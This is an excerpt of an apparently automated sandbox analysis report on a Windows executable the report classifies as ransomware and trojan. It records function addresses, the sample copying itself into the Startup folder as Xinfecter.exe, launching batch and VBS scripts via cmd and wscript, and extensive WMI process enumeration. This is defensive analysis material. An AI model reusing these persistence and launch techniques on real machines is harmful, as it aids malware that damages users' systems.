      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2E11043_2_00F2E110
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F822ED43_2_00F822ED
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F6A2B543_2_00F6A2B5
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDA2AA43_2_00EDA2AA
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED628043_2_00ED6280
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F5426543_2_00F54265
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDE27043_2_00EDE270
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F343F043_2_00F343F0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F7A45043_2_00F7A450
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2640643_2_00F26406
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F6A57043_2_00F6A570
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED06F843_2_00ED06F8
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2662A43_2_00F2662A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F0460043_2_00F04600
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2872043_2_00F28720
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F3489043_2_00F34890
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F0080043_2_00F00800
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2892043_2_00F28920
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EC8AE043_2_00EC8AE0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F26A6D43_2_00F26A6D
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F54A5443_2_00F54A54
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F0AA4043_2_00F0AA40
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED8A3043_2_00ED8A30
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F28BC043_2_00F28BC0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED8B7043_2_00ED8B70
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F12B5043_2_00F12B50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F26EC843_2_00F26EC8
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDEFB043_2_00EDEFB0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2CF4543_2_00F2CF45
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F7F08B43_2_00F7F08B
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F3505043_2_00F35050
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F571D843_2_00F571D8
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED71D043_2_00ED71D0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F352F043_2_00F352F0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F9127443_2_00F91274
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EC533043_2_00EC5330
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EC930043_2_00EC9300
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F595CC43_2_00F595CC
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F0158043_2_00F01580
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDB6D043_2_00EDB6D0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2D6BF43_2_00F2D6BF
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F0961043_2_00F09610
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F6976043_2_00F69760
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2573443_2_00F25734
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2572743_2_00F25727
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F699D243_2_00F699D2
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F25ABD43_2_00F25ABD
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ECBAB043_2_00ECBAB0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F03A8043_2_00F03A80
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2DA4643_2_00F2DA46
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F11A3043_2_00F11A30
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F7BBFB43_2_00F7BBFB
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F05B8043_2_00F05B80
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ECDB0043_2_00ECDB00
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDFCE043_2_00EDFCE0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F2DCD743_2_00F2DCD7
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F01DB043_2_00F01DB0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F4FD7043_2_00F4FD70
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F69D4443_2_00F69D44
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F73D2343_2_00F73D23
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F89FE943_2_00F89FE9
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F33FE043_2_00F33FE0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F69FEE43_2_00F69FEE
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F6BF9743_2_00F6BF97
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F73F5243_2_00F73F52
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00F51CFD appears 186 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00F513BC appears 33 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00EF8860 appears 33 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00F51D31 appears 83 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00EFC060 appears 48 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00EFA2D0 appears 64 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00EF2330 appears 69 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00F522F0 appears 70 times
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: String function: 00898860 appears 45 times
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: String function: 008F22F0 appears 70 times
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: String function: 0089C060 appears 48 times
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: String function: 0089A2D0 appears 64 times
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: String function: 008F1CFD appears 186 times
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: String function: 00892330 appears 69 times
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: String function: 008F13BC appears 40 times
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: String function: 008F1D31 appears 83 times
      Source: GD8c7ARn8q.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
      Source: classification engineClassification label: mal100.rans.troj.adwa.evad.winEXE@114/21@1/2
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008760E0 PathIsNetworkPathA,__alloca_probe_16,MultiByteToWideChar,GetDiskFreeSpaceExW,0_2_008760E0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to behavior
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5124:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1888:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5616:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1496:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1364:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6900:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6188:120:WilError_03
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
      Source: GD8c7ARn8q.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;GD8C7ARN8Q.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4&quot;::GetOwner
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4&quot;::GetOwner
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;92&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;324&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;408&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;484&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;492&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;556&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;624&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;640&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;744&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;776&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;784&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;868&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;920&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;984&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;364&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;372&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;772&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;888&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;660&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1044&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1100&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1200&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1224&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1352&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1392&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1404&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1412&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1476&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1572&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1596&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1648&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1704&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1716&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1740&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1800&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1876&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2012&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2020&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2028&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;960&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1768&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2092&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2204&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2236&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2304&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2420&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2428&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2520&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2568&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2576&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2588&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2608&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2620&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2628&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2728&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2780&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2872&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2924&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3620&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3704&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3736&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4016&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4168&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4404&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4436&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4600&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4852&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;6092&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5764&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2920&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;6836&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5856&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5968&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5232&quot;::GetOwner
